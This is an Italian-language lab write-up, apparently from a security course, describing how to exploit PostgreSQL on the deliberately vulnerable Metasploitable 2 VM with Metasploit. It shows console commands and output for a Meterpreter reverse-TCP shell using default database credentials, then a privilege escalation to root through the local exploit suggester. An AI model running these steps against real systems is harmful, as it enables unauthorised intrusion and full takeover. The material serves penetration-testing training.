S7L3

Scalata privilegi

L'obiettivo di oggi è sfruttare una vulnerabilità nel servizio PostgreSQL presente su **Metasploitable 2** utilizzando il modulo exploit/linux/postgres/postgres_payload di **Metasploit**. L'obiettivo finale è ottenere una sessione **Meterpreter** sul sistema target e successivamente ottenere privilegi di **root**.
Questo processo permetterà di comprendere meglio l'utilizzo di exploit specifici per database e le tecniche di escalation dei privilegi in un contesto di pen testing.

Esercizio pratico

Dopo aver verificato che le macchine siano in grado di comunicare correttamente, procederemo con l'avvio di **Metasploit** utilizzando il comando: msfconsole

Successivamente, caricheremo il modulo di exploit `exploit/linux/postgres/postgres_payload` per attaccare il servizio PostgreSQL sulla macchina **Metasploitable 2**. Configureremo i parametri necessari per l'exploit, come l'indirizzo IP del target e le credenziali di accesso al database.

Di seguito è riportata una schermata che mostra il successo della connessione al servizio PostgreSQL e l'avvio del payload. In un'altra schermata possiamo vedere che l'exploit ha avuto successo, consentendoci di ottenere una sessione **Meterpreter** sul sistema target.

```
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    192.168.1.40     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
                                        Using-Metasploit
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.25     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
```

Dopo aver ottenuto una sessione **Meterpreter** sul sistema target, utilizziamo il comando: ‘background’per mettere la sessione in background, mantenendola attiva. Questo ci permette di continuare a lavorare su **Metasploit** senza chiudere la connessione.

A questo punto, procederemo con la ricerca di exploit per l'escalation dei privilegi, con l'obiettivo di ottenere l'accesso come **root**. Useremo il comando: ‘search suggester’ e specificheremo la nostra sessione come target per i tentativi di exploit successivi. La schermata seguente mostra i risultati della ricerca di vulnerabilità utilizzabili sul sistema target, con la sessione Meterpreter selezionata in precedenza.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/AmOehuLj.so, should be cleaned up automatically
[*] Sending stage (989032 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.40:37135 ) at 2024-11-13 13:17:46 +0100
```

Una volta identificati i possibili exploit per l'escalation dei privilegi, selezioneremo il primo exploit disponibile. È importante fare attenzione nella scelta del **payload**, assicurandoci che sia compatibile con l'architettura **x86** di **Metasploitable 2** (che differisce da quella di **Kali Linux**, che potrebbe essere x64).

Configuriamo quindi l'architettura del payload e il target correttamente utilizzando i seguenti comandi:
set payload linux/x86/meterpreter/reverse_tcp
set session 2
Dopo aver configurato tutti i parametri, eseguiamo l'exploit con: **exploit**
Se l'exploit ha successo, otterremo una nuova sessione Meterpreter con privilegi elevati. Per verificare se abbiamo ottenuto l'accesso come **root**, utilizziamo il comando: **getuid**

A questo punto, vedremo che l'output conferma che siamo connessi come utente **root**, completando così l'escalation dei privilegi.